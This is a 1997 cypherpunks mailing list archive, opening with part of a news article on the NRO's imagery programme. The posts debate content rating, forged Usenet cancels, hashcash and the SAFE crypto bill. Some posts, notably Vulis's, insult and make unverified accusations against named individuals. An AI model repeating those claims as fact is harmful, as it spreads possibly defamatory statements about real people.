     Central Intelligence and the Defense Secretary to build,
     operate and manage space-based intelligence systems should
     continue in the form of the NRO. 

     "There are important inter-relationships between the NRO and
     DoD space activities in areas such as launch technology,
     industrial base and communications, and the NRO needs to
     use DoD systems such as the Global Positioning System as
     well as the DoD needs to use products from NRO systems,"
     the report said. However the panel also emphasised that all of
     the relationships between the NRO and the Pentagon need
     clarification. 

     NRO Director Keith Hall is driving much of the process at the
     agency towards opening the door to commercial technology
     and improving the agency. "I do not think that a customer
     that needs a picture to answer a key question to make an
     operational decision cares whether that picture comes from
     one of my satellites, an airplane or a commercial sensor
     system," he said. "If that means a commercial system can
     provide some of that, I am entirely for it." 

     A major vehicle for operational change at the NRO is the
     Future Imagery Architecture (FIA) programme aimed at
     fielding a next-generation space-based imagery intelligence
     (IMINT) system. "We have said to our FIA vendors that they
     are free to propose to us a mixed architecture of government
     systems and commercial systems," said Hall, noting that such
     a notion is indeed a first for the agency. "We have not
     heretofore been involved at all in the acquisition of
     commercial imagery." 

     The FIA may set a precedent for future reconnaissance
     acquisition. In mid-1996, the NRO and the old Central
     Imagery Office, now part of the NIMA, concluded an initial
     `Phase A' of an architecture study which detailed the
     attributes of a future imagery system most wanted by NRO
     customers. It resulted in the identification of more than 20
     varying performance levels. 

     The NRO began what it calls the `Phase B' concept
     programme in May last year. It is working with six
     contractor teams and the NIMA to determine "what utility
     would those differences in performance have," said Hall, who
     became director in March. 

     The NRO expects to publish a final `Phase C' solicitation to
     industry with detailed performance specifications by early
     next year. Hall said that the solicitation will have "objective
     requirements and the relative value the government places on
     them". 

     Contractors will not be told precisely how to meet those
     requirements but only the performance objectives. `Phase C'
     will be separated into a satellite segment and an integration
     and ground segment. "We have some vendors that are bidding
     on all segments so theoretically a single contractor could win
     it all," said Hall. A final contract award is expected late next
     year with the first satellite system due to be flying early in the
     next decade. 

     Hall also said that smaller satellites will be considered in the
     FIA as well as other constellations. Although they present
     some technical challenges, constellations of smaller satellites
     mean that more satellites will be on orbit, leading to more
     frequent `revisits' over targets and less overall system
     degradation if one satellite fails. 

     The FIA programme has already led to some innovation. The
     small Surveillance, Targeting and Reconnaissance Satellite
     (Starlite) being proposed by the Defense Advanced Research
     Projects Agency (DARPA) for tactical reconnaissance could
     be considered as a future imagery architecture option.
     However, it appears more likely it will become a technology
     demonstration. 

     DARPA's proposal underscores the dilemma of how to draw
     a distinction between reconnaissance - an NRO mission - and
     surveillance, which traditionally has been done by the US Air
     Force in monitoring weather and missile launches for
     example. "We will do more joint programmes with multiple
     sensors," predicted Maj Gen Robert Dickman, the DoD space
     architect. 

     As the NRO and DoD grow closer, Hall believes it is
     important to acknowledge that commercial systems can only
     go so far in meeting the precise resolution and product
     delivery requirements needed by the IC. 

     Aside from fielding the FIA, Hall has set a number of other
     objectives for the agency, including increasing funding for
     research and development by re- allocating existing funds. His
     five mission objectives in research and development are: 

     - Developing new sources and methods, such as collection
     and processing of information against hard targets; 

     - Orders of magnitude improvements in efficiency and
     effectiveness of NRO systems; 

     - Using advanced and potentially technologically risky
     methods of exploiting data to learn more from it; 

     - Using space-based solutions to address "intractable"
     intelligence problems such as monitoring chemical and
     biological warfare facilities; 

     - Improving "space services" by assisting the US Defense
     Department with its space mission when possible. 

     -----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 31 Jul 1997 09:10:32 +0800
To: love@cptech.org
Subject: Third party rating services NOT self-rating (was Re: Yet another self-labeling system (do you remember -L18?))
In-Reply-To: <33DF9522.3985417E@cptech.org>
Message-ID: <199707310045.BAA27618@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




James Love <love@cptech.org> writes:
> Paul Bradley wrote:
> > > [Pissing, Fisting and beastiality!]
> > >
> > > 55%   http://adult.mdc.ca/free/xratedp.html     (Size 4.5K)
> > 
> > We can clearly come to no agreement here as I cannot see any material
> > listed above which would be harmful in any way to a viewer, child or
> > not.
> 
>    Paul. Do you *have* any children?  Jamie

I have children.  My views are generally liberal.  I could probably
come up with a few things I think would not be appropriate
viewing/reading at this stage (4 year old?)

However, and this appears to be a point being missed here, it is
pretty much irrelevant what I think should be appropriate for my
children, because the person you are proposing to rate the site is the
site's author.  It is inevitable that the site's author will have
different views about what is suitable for children than any
particular parent.  Pick 10 people, you'll have 10 different sets of
what is suitable.

Even if government were to insist that everyone self rated, it would
be damn near meaningless.

If you as a parent are too lazy to observe what your children read,
you could use a third party rating service.  I believe that there are
several on the market right now.

You should attempt to evaluate the rating services to see what they
block.

Perhaps you would go on the advice of a ratings service rating
service.  Perhaps you would obtain demonstration versions and form
your own opinion.

Clearly government mandated self-rating is moving towards thoughtcrime.

Third party rating services are services.  If you don't like the
service, don't buy it, or start up your self in competition.

Now where does the need for government come into this picture?

General rhetorical question: indeed why have governments at all?

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 31 Jul 1997 09:20:00 +0800
To: jai@mantra.com
Subject: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <3.0.2.32.19970730124407.0098f250@caprica.com>
Message-ID: <199707310103.CAA27631@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Some people have been arguing that cancelling other peoples posts
based on their own subjective views is a good thing.

It would seem that they are arguing that it is a good thing because it
saves bandwidth, and because it gives them satisfaction to silence
unpopular minorities.

Foo on that.

It's censorship.  If you didn't write it, you have no business
cancelling it.

NoCems are a good solution to mailing list and USENET groups spams.
Then each person can take their pick of which posters article ratings
to use, or can create their own rating service.

For email spams (not talking about cancels here), I'd suggest
attaching electronic payment to emails as a condition of delivery.

A temporary fix for emails, or another approach, is to use hashcash.
Hashcash is a token of CPU time.  It proves that the sender has
consumed a given number of seconds/minutes/hours CPU time.  The
receiver sets their software to reject mail (bounce with explanation,
or put into potential spam folder) to squelch out spam.

A description of hashcash, and an implementation can be found here:

	http://www.dcs.ex.ac.uk/~aba/hashcash/

Mail from known addresses (friends, mailing lists) would be marked as
exempt from postage requirements.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: rbrewer@op.net (Robert W. Brewer)
Date: Thu, 31 Jul 1997 13:11:27 +0800
To: cypherpunks@toad.com
Subject: Spam is Information?
In-Reply-To: <3.0.2.32.19970730064653.00948280@caprica.com>
Message-ID: <m3pvrz92rd.fsf_-_@wiz.rob.net>
MIME-Version: 1.0
Content-Type: text/plain



"Dr. Jai Maharaj" <jai@mantra.com> writes:
> The commission of crimes such as forgery and censorship is 
> not an acceptable excuse to stop the flow of information, even 
> if the free flow is perceived by some as a crime.

I define usenet spam as "the same message posted to more
than 10 newsgroups without crossposting."  By this
definition, spam has very little information content.  It is
almost totally redundant.  Instead of posting 1 message,
1000 messages are posted.  The 2nd through 1000th message
add no more information than the first.  This would not be a
problem if the network had infinite bandwidth and storage
capabilities.  However, finite bandwidth and storage means
that every flow of spam "information" necessarily restricts
the flow of other information.  If the network were at full
capacity and you were forced to make a choice of what
information would flow, what would it be?  Would you cancel
the 999 redundant copies of a 1000 group spam, or would you
cancel 999 random non-spam messages?  I know, you would
upgrade the network, but that is not viable.  It will
always be possible to generate more spam than the network
can handle.

Here's an analogy--consider a small physical bulletin board
on a university campus that is divided up into sections for
different categories of bulletins to help organize the
postings.  The sections might be "official university
announcements", "concerts and movies", "clubs", "for sale or
trade", and "miscellaneous".  There is a sign at the top of
the bulletin board that reads "Bulletin Board Rule: Only one
copy of an a flyer may be posted."  This is a public
bulletin board--anyone can hang things on it.

Now, let's say someone comes along and decides to plaster
the entire bulletin board with 25 big blue sheets that each
read "Make Money Fast!  Call 555-1212 for details!".  These
25 big blue sheets cover up most of the other announcements
on the bulletin board.  Let's also say that whoever made
these big blue ads used "free" university photocopiers,
where the cost of each copy is paid for by the university.

Personally, I would consider it quite a service if someone
ripped down 24 of these big blue sheets and put them in the
recycling bin, leaving only one remaining sheet either on
the "for sale or trade" or "miscellaneous" portion of the
bulletin board.

I claim that this analogy is reasonably close to the
usenet: the bulletin board has limited space (bandwidth), is
divided into topics (newsgroups), has some rules of use
(netiquette), and has some distributed costs associated with
using it (everyone pays indirectly for the copy machine).
Since this is an analogy, and not the actual usenet, there
will be differences between the real-world bulletin board
and usenet.  I'm sure these will be pointed out to
demonstrate why taking down the 24 blue sheets is censorship
and limits the free flow of information.

What about the information on the bulletin board that is
covered up by the 24 blue sheets?  Is that information not
effectively censored by the blue sheets?  On usenet, spam
takes up server space that could otherwise be used for
legitimate articles, thus causing those articles to expire
much faster than if there were no spam.  The legitimate
articles are "covered up" (censored) by the spam.

Is it "free expression" to walk into a restaurant and start
yelling and screaming so loud that no one else can carry on
a conversion?  Even if it is, you'd better be prepared for
the management to ask you to leave.  If you fail to comply,
they would likely call the police and have you removed for
disrupting their business.  What if you yell just loud
enough to be annoying to everyone in the restaurant, but
they can still converse if they make an effort to ignore
you?  Any reasonable restaurant management would still ask
you to quiet down.  The "management" of usenet has made a
simple request: don't post the same message to 1000
newsgroups or your messages will be asked (or forced) to
leave.

I agree NoCeM is better than cancelbots.  But I think
objective cancelbots (anything posted to more than 10 groups
and not crossposted is cancelled, etc.) are better than a
server full of spam.

-Rob
-- 
Robert W. Brewer  PGP 2048-bit Key ID: 03E0E635
Jesus rules!      FP: 6327 8034 7BDA D144 B40C C5E2 F760 13BB





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Apache <apache@bear.apana.org.au>
Date: Thu, 31 Jul 1997 02:16:28 +0800
To: cypherpunks@cyberpass.net
Subject: Re: 7-29_b8_EXTRA_Internet.html
In-Reply-To: <Chameleon.870271542.amp@ampugh.mcit.com>
Message-ID: <199707301806.EAA00408@bear.apana.org.au>
MIME-Version: 1.0
Content-Type: text/plain



   amp@pobox.com said:

>Personally, I found the article about web gaming to be rather funny.
>
>I wonder about the quality of the 'prng' used by these casinos.
>
>There are, indeed, suckers born every minute.

Yes indeed. For me the highlight, however, was the gubmints sharing, 
caring attitude. It's almost enough to prompt me to gamble online just to 
be cared for by the nurturing angels.

-- 
   .////.   .//    Charles Senescall             apache@bear.apana.org.au
 o:::::::::///                                   apache@quux.apana.org.au
>::::::::::\\\     Finger me for PGP PUBKEY            Brisbane AUSTRALIA
   '\\\\\'   \\    Apache





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 31 Jul 1997 10:29:10 +0800
To: cypherpunks@toad.com
Subject: Re: Netly News Fan Mail
Message-ID: <199707310215.EAA09572@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Mike Duvos wrote: 
> It appears that the CPAC/Sewer folks have read the recent Netly News
> article on their activities and were not pleased.  This little blurb
> healines the "Sewer List" this morning.
> 
> -----Begin Officer Paladino Rant-----
> 
> July 29, 1997, I was told of an article that appeared on the Net.
> It appeared on a Netly News site.
...
> In the article he links to a few sites showing young boys but he
> forgot to link to the 1000's of sites showing young boys in the
> nude.
> You will see sites exposing young boys, as young as 4 years old,
> nude.

  Strange. I followed some of the links on the Sewer site, and all
I found was that they were harassing and slandering people with
perfectly legitimate reasons for having normal pictures of clothed
children on their site.
  Are child actors supposed to put pictures of adults who look
similar to them on their web sites? Are pictures of themself 
(fully clothed) "pornography" when gay teens put them on a web
site, but pictures of themself that Christian teens put of
themself on s web site are "wholesome?"

> Freedom is a great thing and this is the greatest country in the
> world. I wonder how many soldiers that gave their lifes fighting
> for that freedom, had pictures of nude boys in their wallets,
> instead of their families. Think about
> that.......................

  No doubt some of those soldiers had naked pictures of their
children in their wallets, but I doubt if those pictures gave
them a hard-on, as they would obviously do for Officer Paladino.
  Officer Paladino seems to fail to understand that "his" hard-on
does not make "other" people perverts.

> -----End Officer Paladino Rant-----

> Will someone please buy this poor man a spell-checker? :)

  Intelligence and educations are not requirements to become a
member of the Righteous Right. Neither are tolerance and respect
for the personal moral beliefs of others.
  It will be interesting to see whose "moral values" prevail on
the InterNet when the laws and traditions of various societies and
nations come into conflict. My prediction is that it will be the 
moral values of the most intolerant nation with the largest weapons.

Dr. Anonymous





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Thu, 31 Jul 1997 08:30:16 +0800
To: Doug Peterson <fnorky@geocities.com>
Subject: Re: Yet another self-labeling system
In-Reply-To: <33DFB441.59A0@geocities.com>
Message-ID: <Pine.LNX.3.93.970731060455.102C-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Wed, 30 Jul 1997, Doug Peterson wrote:

> Kurt Starsinic wrote:
> > 
> >     I'm in favor of a ratings system; not one which indicates for whom a
> > given page is suitable, but rather one which identifies the subject matter.
> >  The Dewey Decimal System is a primitive example of such a system.
> 
> Technically the Dewey Decimal System in not a rating system, it's a
> subject index.

I think that is what the Kurt is arguing for.  Some sort of subject
tagging rather then a Adult content flagging.  This would have a dule
roll, it would discrouge peaple who do not wish to view that type of
matiral and would encourage peaple that do wish to view that matrial.

In addtion peaple would volterly rate there pagers without need to any
mandotry scheam as it would help peaple searching for that type of
matiral.


Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBM9+fnaQK0ynCmdStAQEm/gQAmwthNDtJXoiVavsXTcEHbxcJgZQ9S8O/
3DKjs554XirPCWI7BH37if82hQ7j8jNzn+wTsOTp0yhYnGtgD+H9xbcGOHTxWRi+
GbtiIJIZxzqpB3okscKpjdrxLowkqVBtJ6B/Wz0uZrtCgvLxmknHgCHfeyUpH4lO
0O//vIFXiGg=
=gSLk
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 31 Jul 1997 19:49:04 +0800
To: cypherpunks@toad.com
Subject: House Report on SAFE
Message-ID: <1.5.4.32.19970731112509.006d2d0c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



House Report 105-108, Part 2, July 25, 1997, reports on the 
recent House International Relations Committee action on 
Goodlatte's SAFE crypto bill, and includes analysis, supporting 
and dissenting views, and a few letters sent to the committee:

   http://jyx.com/hr105-108-pt2.htm  (87K)

As before offered, see HR 105-108, Part 1, published at the end of
May:

   http://jyx.com/hr105-108-pt2.txt  (94K)

Note: that's JYX.COM, (same as 108240.primehost.com) 
our temp site to fill in for remanded JYA which  is to be unJimmed 
soon, isn't it, your honor, what stink you screeching about, that's
just rotting pork.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Thu, 31 Jul 1997 09:57:48 +0800
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <199707310103.CAA27631@server.test.net>
Message-ID: <Pine.LNX.3.93.970731073318.102F-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Thu, 31 Jul 1997, Adam Back wrote:

> Some people have been arguing that cancelling other peoples posts
> based on their own subjective views is a good thing.

Nno one is arugeing that.  Both sides in this debait aggry that that is a
REAL BAD thing.  Spam cancelers use an objective rules.  The world would
be a better place if this didn't happen and everybody was on NoCeM.  But
yet this is not true.

[...]

> It's censorship.  If you didn't write it, you have no business
> cancelling it.

Not even forgeries in my name?  Not even out of the control spews from
fidonet?

> NoCems are a good solution to mailing list and USENET groups spams.

NoCeMs don't work on email.

> For email spams (not talking about cancels here), I'd suggest
> attaching electronic payment to emails as a condition of delivery.

And thus killing mailing lists like freedom knights and cyperpunks?


Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBM9+0k6QK0ynCmdStAQFWYwQA0NmbRaL14Fp0XHik+pgJ7sAxx5MQJd+m
tjO023S8SUncdaUdB5VtrXK0quZvrS9GU087s6xAXNMGbv2UAxVPY5raBhJ1V1yf
C0KBkPgxHcKHBEs53oMRtHJTkMMx3XhCL24fUPI8j1Coy/rvraFqNF6S1WppZSwa
UawusK+H1ZY=
=mDBU
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 31 Jul 1997 20:54:20 +0800
To: cypherpunks@toad.com
Subject: Re: Third party rating services NOT self-rating (was Re: Yet another
In-Reply-To: <199707310045.BAA27618@server.test.net>
Message-ID: <FRFPae1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Adam Back <aba@dcs.ex.ac.uk> writes:

> James Love <love@cptech.org> writes:
> > Paul Bradley wrote:
> > > > [Pissing, Fisting and beastiality!]
> > > >
> > > > 55%   http://adult.mdc.ca/free/xratedp.html     (Size 4.5K)
> > >
> > > We can clearly come to no agreement here as I cannot see any material
> > > listed above which would be harmful in any way to a viewer, child or
> > > not.
> >
> >    Paul. Do you *have* any children?  Jamie
>
> I have children.  My views are generally liberal.  I could probably
> come up with a few things I think would not be appropriate
> viewing/reading at this stage (4 year old?)
>
> However, and this appears to be a point being missed here, it is
> pretty much irrelevant what I think should be appropriate for my
> children, because the person you are proposing to rate the site is the
> site's author.  It is inevitable that the site's author will have
> different views about what is suitable for children than any
> particular parent.  Pick 10 people, you'll have 10 different sets of
> what is suitable.

I have 2 kids.  I think it's highly unethical to lie to kids about the
existance of tooth fairies/gods/santa clauses.
...
> Now where does the need for government come into this picture?

Nowhere.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 31 Jul 1997 20:50:06 +0800
To: freedom-knights@jetcafe.org
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <Pine.LNX.3.93.970731073318.102F-100000@shirley>
Message-ID: <FwFPae2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au> writes:

> On Thu, 31 Jul 1997, Adam Back wrote:
>
> > Some people have been arguing that cancelling other peoples posts
> > based on their own subjective views is a good thing.
>
> Nno one is arugeing that.  Both sides in this debait aggry that that is a
> REAL BAD thing.  Spam cancelers use an objective rules.  The world would
> be a better place if this didn't happen and everybody was on NoCeM.  But
> yet this is not true.

Let me clarify two things:

1. "Spam cancellers" are not generally news admins. They are plain old
users who get kicked off of their ISPs for forging cancels. For examples,
see Net.Scum pages of Rick Buchanan, David Ritz, et al.

2. Once a cancel-forger builds a "reputation" as a "spam canceller",
s/he often diversifies into "retromodetration" - forgng cancels for
singly-postd articles whose contents they don't like and claiming that
they were "spam". For examples, see the Net.Scum pages for Guy Macon
(the retromoderator on soc.religion.quaker), Chris Lewis, et al.

> > It's censorship.  If you didn't write it, you have no business
> > cancelling it.
>
> Not even forgeries in my name?  Not even out of the control spews from
> fidonet?

Correct.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 31 Jul 1997 20:59:51 +0800
To: freedom-knights@jetcafe.org
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free
In-Reply-To: <3.0.2.32.19970730223642.007b2100@ece.eng.wayne.edu>
Message-ID: <sagPae3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Ryan Anderson <randerso@ece.eng.wayne.edu> writes:

> At 02:03 AM 7/31/97 +0100, Adam Back wrote:
>
> >It's censorship.  If you didn't write it, you have no business
> >cancelling it.
>
> Have you considered the actions of the news-admins that are auto-canceling
> anything with more than a certain number of cross-posts, or posts with "Make
> Money Fast" in the subject? ...

I posted an MMF parody (PGP as MLM) to the cypherpunks mailing list last
January and was threatened by more than one person too stupid to recognize a
parody.

The Net.Scum who forge cancels for Usenet articles that are cross-posted into
"too many" newsgroups a) are not usually sysadmins - just control freak users,
who often get spanked from their ISPs for forging cancels, harrassing posters,
and other net-abuse, 2) have no clue how Usenet works - they claim that
cross-posting wastes bandwidth, 3) suppress not only MMF but any content they
don't like (like Guy Macon, the retromoderator of the formerly
unmoderated soc.religion.quaker, has been forging cancels for the leprosy
thread which he thinks is "off-topic")

The solution is to disable all cancels now.

> "Make Money Fast" are killed because they're illegal scams in the US and I
> think in most of the world.

Who are you to decide that a particular content is illegal, or that a Usenet
article soliciting an activity that's illegal in some jurisdictions should
be suppressed?

Unlike you, I am a news admin.  Many years ago I used to forge cancels for
MMF articles on Usenet.  Then I realized that I was very wrong to do that.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 31 Jul 1997 21:12:29 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: uncensorable net based payment system?
In-Reply-To: <199707311240.NAA00742@server.test.net>
Message-ID: <199707311307.IAA17412@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



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In <199707311240.NAA00742@server.test.net>, on 07/31/97 
   at 01:40 PM, Adam Back <aba@dcs.ex.ac.uk> said:

>Then I can have some net cash savings backed by the rights to 1Tb of
>bandwidth at 100 Mb/sec.  100 Mb/sec for 3 days.

>A problem with this is that the market prices of the assets is
>continually dropping.  How do I hedge against this.  Can I buy futures? 
>Sell 100 Mb/sec for 3 days now in exchange for 200 Mb/sec for 3 days in 1
>years time at an predicted equivalent value? 

Well I see some problems with this. Any increase in bandwith requires the
addition of hardware to accomplish it. It would be of little use to me to
have 100 Mb/sec for 3days considering the cost of installing the lines and
purchacing the extra equipment.

Also in a packet switching environment how do you plan on insuring any
amount of bandwith? The Backbone is not set-up for this. The only way in
the current enviorment that you can guarantee a given bandwith is by
having a dedicated connection point to point.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 31 Jul 1997 21:53:14 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: non-censorous spam control (was Re: Spam is Information?)
In-Reply-To: <199707311120.MAA00669@server.test.net>
Message-ID: <199707311344.IAA17797@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199707311120.MAA00669@server.test.net>, on 07/31/97 
   at 12:20 PM, Adam Back <aba@dcs.ex.ac.uk> said:

>Another longer term way to improve the situation is to charge some small
>token amount per article, just to encourage people to use it with some
>intelligence (use cross posts rather than separately reposting to each
>group).

>It is also entirely possible for people to have 'bots which auto-post in
>response to articles matching keywords, or matching authors. (We've seen
>a few of these on cypherpunks).

>If people want to make a nuisance for others by spewing random garbage
>via bots to newsgroups, they could post mega bytes of stuff per day and
>swamp the content.  What can you do about this?  Charging a small amount
>per post, or per megabyte would provide a small disincentive for this
>type of behaviour.  However it would never reflect the true cost to
>USENET bandwidth as a whole.

>One interesting idea which has been floated on this list in the past is
>for authors to have their free posting rate moderated by other peoples
>ratings of their posts.

>One way to implement this is for other people to pay the author for their
>articles a penny if they like the article.  That way people who write
>things which others find interesting to read get subsidized posting.  Is
>it still free speech if you have to pay for your posts if you're arguing
>for an unpopular minority?

This will not work!!!

Charging for e-mail/news posts will no nothing to prevent spam and more
than likely increase the noise on such lists. It is the spamers who have
the money to post volumns of their crap. Allso I think you will find that
it will be the fanatics who will think it worth the $$$ to get their
message out.

While I find the various mailling lists & newsgroups of intrest the
majority of them are not thet intresting that I would be willing to pay
$$$ every time I post a reply to someones questions (most of my posts
outside of CP are answering questions on programming,crypto, & OS/2). I
think that the overall quality of the newsgroups would decline if you
started paying on a per-post basis.

It should be noted that the Bandwith issue is a red-herring. It is an
antiquated concept from the Fidonet days and does not apply. The bandwith
of the USENET has been *PAID IN FULL* by every subscriber to an ISP. The
ISP customers pay for their connections to their ISP who in turn pay for
their connections to the Access providers who inturn pay for the Backbone.
The PIPE has been paid for what goes over it not an issue. If all I want
to do with my T1 connection is ship *.jpg files via ftp 24/7 that is no
ones busines but my own. If I chooses to use my bandwith to transmit a
variety of file formats using various protocols
(HTTP,FTP,GOFFER,ARCHIE,...ect) who are you to say that some formats are
good and some are not!! (this is not even getting into the content of the
data being shiped).

>Also, this might be an interesting information market model because
>technical experts might even find themselves with a well paid job of
>answering technical questions in newsgroups.

There is a web site that is doing exactly this. They provide forums for
users to post technical questions in which "experts" will answer them.
Upon receiving the answer the person who posted the question is requested
to rate the answer. I haven't been on the site in awhile but the last time
I was there they were working on a mechinism to compensate their "experts"
for answering questions. They had a point system based on the difaculty of
the questions. After registering with them and obtaining a certain number
of points for correctly answering questions you would be classified as an
"expert" for that forum which then would make you eligable for
compensation. I believe all funds were to be generated through web page
advertisement.


I'll see if I can find the URL for the site and post it to the list.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 31 Jul 1997 20:49:08 +0800
To: freedom-knights@jetcafe.org
Subject: Re: Entrust Technologies's Solo - free download
In-Reply-To: <199707310046.RAA19350@kachina.jetcafe.org>
Message-ID: <RFHPae9w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Dave Hayes <dave@kachina.jetcafe.org> writes:

> > Not if it's done through the normal operation of the protocol.  If articles
> > needed more protection, cryptographic elements would have been part of the
> > design to begin with.  Even David Hayes has admitted that cancels are prote
> > free speech.
>
> I have admitted no such thing.

Paul Pomes is a fouil-mouthed liar.  Please see his Net.Scum page at
http://www.netscum.net/pomesp0.html.

Two questions to Tim Skirvin:
1. Why was Paul Pomes fired from UIUC academic computer facility?
2. Does Paul still weigh 400 lbs?

> > Keep repeating to yourself, "It's just usenet, it's just usenet....".
>
> I understand you are reluctant to communicate with those you deem inferior,
> however do not deny this to the rest of us that want to talk.

That's a very good point.  Paul is an enemy of the cypherpunk anonymous
remailers. He complains about them to the remailer operators' upstreams
and employers.  Paul has been sending me obscene and harrassing e-mail
and complains to PSI, my upstream, about the contents of the e-mail he
thinks originated here.  Paul is a poster child for net.censorship.

Paul publicly claims to killfile anyone he doesn't like, but then goes
out of his way to silence them.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Thu, 31 Jul 1997 20:49:28 +0800
To: John Young <jya@pipeline.com>
Subject: Re: House Report on SAFE
In-Reply-To: <1.5.4.32.19970731112509.006d2d0c@pop.pipeline.com>
Message-ID: <Pine.GSO.3.95.970731083153.15090D-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



Note the following ominous excerpt from one of the letters:


"We are in unanimous agreement that congress must adopt
encryption legislation that requires the development,
manufacture, distribution and sale of only key recovery
products."

Darrell L. Sanders, President, International Association of
Chiefs of Police.

James E. Doyle, President, National Association of
Attorneys General.

Fred Scoralic, President, National Sheriffs' Association.


-Declan


On Thu, 31 Jul 1997, John Young wrote:

> House Report 105-108, Part 2, July 25, 1997, reports on the 
> recent House International Relations Committee action on 
> Goodlatte's SAFE crypto bill, and includes analysis, supporting 
> and dissenting views, and a few letters sent to the committee:
> 
>    http://jyx.com/hr105-108-pt2.htm  (87K)
> 
> As before offered, see HR 105-108, Part 1, published at the end of
> May:
> 
>    http://jyx.com/hr105-108-pt2.txt  (94K)
> 
